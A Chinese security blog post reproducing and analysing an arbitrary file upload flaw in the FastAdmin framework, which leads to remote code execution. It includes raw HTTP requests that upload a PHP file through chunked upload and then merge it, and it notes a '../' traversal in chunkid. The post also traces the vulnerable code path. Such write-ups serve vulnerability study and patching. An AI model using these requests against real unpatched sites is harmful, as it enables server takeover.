Fastadmin前台任意文件上传

2021-04-19 6,472

漏洞简介

FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。

2021年3月28日,360漏洞云漏洞研究员发现,FastAdmin框架存在有条件RCE漏洞,当攻击者具有一定用户权限的前提下,可以实现任意文件上传,导致RCE

漏洞复现

在官网上下载fastadmin,利用 phpstudy 搭建环境

根据漏洞描述需要开启支持分片上传,所以我们修改 application/extra/upload.phpchunking 为 true

20210406171600.png

同时最新版本已经修复存在的漏洞,修复位置为

application/common/library/Upload.php  复现漏洞时,应注释这个部分

20210407140629.png

漏洞需要一个低权限的账号,所以我们需要在前台注册一个普通用户

20210407111549.png

20210407112045.png

编译个人头像处就是漏洞触发位置,构造上传的xml

<form enctype="multipart/form-data" method="post" action="http://test.test/index.php/index/ajax/upload">
       <input type="file" name="file">
       <input type="submit" value="Upload">
   </form>


20210407142734.png

POST /index/ajax/upload HTTP/1.1
Host: test.test
Content-Length: 419
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryurpjX18wIurjSyEp
Origin: http://test.test
Referer: http://test.test/index/user/profile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5kdqt2jl3jv15r0tavaubru2he; think_var=zh-cn; uid=2; token=e7385045-f838-40e2-9a1f-94de18f81e57
Connection: close

------WebKitFormBoundaryurpjX18wIurjSyEp
Content-Disposition: form-data; name="file"; filename="dog.jpg"
Content-Type: application/octet-stream


<?php phpinfo(); ?>
------WebKitFormBoundaryurpjX18wIurjSyEp
Content-Disposition: form-data; name="chunkid";

test.php
------WebKitFormBoundaryurpjX18wIurjSyEp
Content-Disposition: form-data; name="chunkindex";

0
------WebKitFormBoundaryurpjX18wIurjSyEp--


上传成功之后,会在网站路径 C:\phpstudy_pro\WWW\fastadmin\runtime\chunks 下保存文件 test.php-0.part

20210407142836.png

发送数据包,合并分片传输的文件

20210407143001.png

POST /index.php/index/ajax/upload HTTP/1.1
Host: test.test
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://test.test
Referer: http://test.test/index.php/index/user/profile.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=5kdqt2jl3jv15r0tavaubru2he; think_var=zh-cn; uid=2; token=e7385045-f838-40e2-9a1f-94de18f81e57
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

chunkid=test.php&action=merge&chunkcount=1


漏洞利用存在很大的局限性,首先是需要开启支持分片传输,我在调试的过程中发现,在指定 host 解析,设定网站的根目录为 /fastadmin/public 之后就无法访问  /fastadmin/runtime/chunks 下的文件,相对来说比较鸡肋

===分割线===

自己分析完,也写好文章之后,无意间发现了别人发布的文章,一句话点醒了我 chunkid可以../跨目录 果然,又是没有认真思考的一次分析 --2021.4.16

20210416112441.png

20210416112534.png

漏洞分析

根据上传时的路由信息  /index.php/index/ajax/upload 定位至代码位置

application/index/controller/Ajax.php

20210407145805.png

漏洞的触发共分为两个过程,上传分片与合并分片

首先关注上传分片的过程 传入参数 chunckid 才会到上传分片的位置

\app\api\controller\Common::upload

20210407150121.png

\app\common\library\Upload::chunk

20210407150502.png

chunk 方法中,首先对 Content-Type 进行了校验,必须为 application/octet-stream 将传入的参数  chunckid  与  chunckindex 通过 - 连接,最后拼接 .part 最后保存到 /runtime/chunks/ 。当我们传递的 $chunkid 为 test.php , $chunckindex 为 0 时(参数选择为0,还有别的原因,下表),最后拼接出的分片文件名为test.php-0.part

然后是合并分片文件的操作,需要传入参数 action=merge 才会到合并分片文件的函数

20210407153319.png

\app\common\library\Upload::merge

20210407154315.png

merge 方法中会将 $chunkid  的值指定为最后保存的文件名,然后回根据传入的参数$chunkcount 遍历查找是否分片文件上传完成,我们仅上传了一个分片文件,所以第一个分片文件应该设定为 0 ,此处 chunkcount 的值应为 1。之后就将分片传输的文件写入指定的文件中,最后返回文件信息,即使最后报错提示是不允许的上传类型,但是文件已经保存到 /runtime/chunks/  路径下。

在上传对文件名进行校验的情况下,利用分片传输的中最后重命名文件名的特点,绕过对文件名的校验,实现了任意文件上传。

参考文章

FastAdmin前台文件上传

FastAdmin最新RCE漏洞复现



本文作者:Whippet

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/157307.html

Tags:
评论  (0)
快来写下你的想法吧!

Whippet

文章数:12 积分: 230

按时吃饭饭

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号